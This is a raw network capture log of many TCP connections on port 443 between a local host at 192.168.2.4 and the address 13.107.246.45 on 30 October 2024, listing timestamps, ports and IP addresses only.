Oct 30, 2024 07:28:17.820488930 CET	49907	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:17.820519924 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.140908957 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.141567945 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.141577959 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.141978979 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.141983032 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.142939091 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.143223047 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.143235922 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.143526077 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.143529892 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.268764019 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.269030094 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.269188881 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.269543886 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.269561052 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.269573927 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.269578934 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.272792101 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.272830009 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.272910118 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.273129940 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.273145914 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.278501034 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.278736115 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.278789997 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.278821945 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.278830051 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.278844118 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.278847933 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.281529903 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.281615019 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.281718016 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.281903028 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.281919956 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.386862993 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.389583111 CET	49905	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.389631987 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.390049934 CET	49905	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.390057087 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.451234102 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.451848030 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.451860905 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.452245951 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.452250957 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.517105103 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.517232895 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.517288923 CET	49905	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.517895937 CET	49905	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.517926931 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.522900105 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.522939920 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.523005009 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.523154974 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.523169994 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.551484108 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.564629078 CET	49907	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.564666986 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.565033913 CET	49907	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.565041065 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.590178967 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.590251923 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.590323925 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.590543032 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.590563059 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.590595007 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.590600014 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.592935085 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.592978954 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.593050957 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.593199015 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.593210936 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.690869093 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.690953970 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.691109896 CET	49907	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.691524029 CET	49907	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.691545010 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.691581011 CET	49907	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.691587925 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.694628000 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.694672108 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.694839001 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.694895983 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.694902897 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.995902061 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.996525049 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.996539116 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:18.996977091 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:18.996980906 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.009450912 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.009944916 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.009973049 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.010426998 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.010433912 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.124861956 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.125042915 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.125148058 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.125184059 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.125200033 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.125211000 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.125217915 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.128089905 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.128209114 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.128308058 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.128515005 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.128545046 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.138632059 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.138839006 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.138928890 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.138997078 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.138997078 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.139056921 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.139086962 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.141613007 CET	49914	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.141654968 CET	443	49914	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.141735077 CET	49914	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.141868114 CET	49914	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.141877890 CET	443	49914	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.254378080 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.255500078 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.255517006 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.256565094 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.256568909 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.309657097 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.310149908 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.310169935 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.310590029 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.310595989 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.386672020 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.386751890 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.386962891 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.386996984 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.386996984 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.387012959 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.387025118 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.390007019 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.390062094 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.390127897 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.390278101 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.390288115 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.426265955 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.426750898 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.426784992 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.427282095 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.427287102 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.437442064 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.437750101 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.437921047 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.437966108 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.437978983 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.437994003 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.437999964 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.440617085 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.440659046 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.440924883 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.441083908 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.441099882 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.556883097 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.556991100 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.557233095 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.557399035 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.557420015 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.557430983 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.557436943 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.559884071 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.559990883 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.560074091 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.560334921 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.560380936 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.874485016 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.876760006 CET	443	49914	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.877319098 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.877357960 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.877657890 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.877665043 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.878051043 CET	49914	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.878103971 CET	443	49914	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:19.878458023 CET	49914	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:19.878464937 CET	443	49914	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.002295017 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.002507925 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.002573967 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.002846003 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.002871990 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.002882957 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.002888918 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.006633043 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.006743908 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.006863117 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.007009029 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.007045031 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.011964083 CET	443	49914	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.012087107 CET	443	49914	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.012175083 CET	49914	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.012401104 CET	49914	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.012401104 CET	49914	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.012425900 CET	443	49914	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.012434959 CET	443	49914	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.015264988 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.015317917 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.015399933 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.015630960 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.015644073 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.132911921 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.134655952 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.134737015 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.135370970 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.135385990 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.177155972 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.179275036 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.179303885 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.179770947 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.179776907 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.265780926 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.265948057 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.266036987 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.266273975 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.266298056 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.266309023 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.266314983 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.274058104 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.274101973 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.274178982 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.274971008 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.274985075 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.300363064 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.302484035 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.302515984 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.302989006 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.302994013 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.305547953 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.305757046 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.305834055 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.305923939 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.305923939 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.305972099 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.306005001 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.309212923 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.309259892 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.309330940 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.309533119 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.309547901 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.530086040 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.530296087 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.530409098 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.530523062 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.530558109 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.530576944 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.530585051 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.534115076 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.534157038 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.534390926 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.534560919 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.534578085 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.758519888 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.759109020 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.759143114 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.759685993 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.759702921 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.776278973 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.777173042 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.777199030 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.777956963 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.777965069 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.891345978 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.891431093 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.891493082 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.891937017 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.891979933 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.892071009 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.892082930 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.897131920 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.897172928 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.897252083 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.897917032 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.897933960 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.912652016 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.912708044 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.912786961 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.912853956 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.912889957 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.913005114 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.913114071 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.913152933 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.913180113 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.913194895 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.919125080 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.919152021 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:20.919258118 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.919466019 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:20.919477940 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.012470961 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.013124943 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.013149977 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.013732910 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.013740063 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.054716110 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.056009054 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.056036949 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.059463978 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.059475899 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.142103910 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.142266035 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.142353058 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.142564058 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.142582893 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.142599106 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.142606020 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.145987988 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.146048069 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.146119118 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.146325111 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.146342993 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.186254025 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.186310053 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.186399937 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.186419964 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.186465025 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.186525106 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.186750889 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.186750889 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.186767101 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.186777115 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.189868927 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.189909935 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.190114021 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.190315962 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.190330982 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.269221067 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.269843102 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.269861937 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.270343065 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.270349026 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.401595116 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.401623964 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.401712894 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 07:28:21.401721001 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.401756048 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 07:28:21.401999950 CET	49922	443	192.168.2.4	13.107.246.45
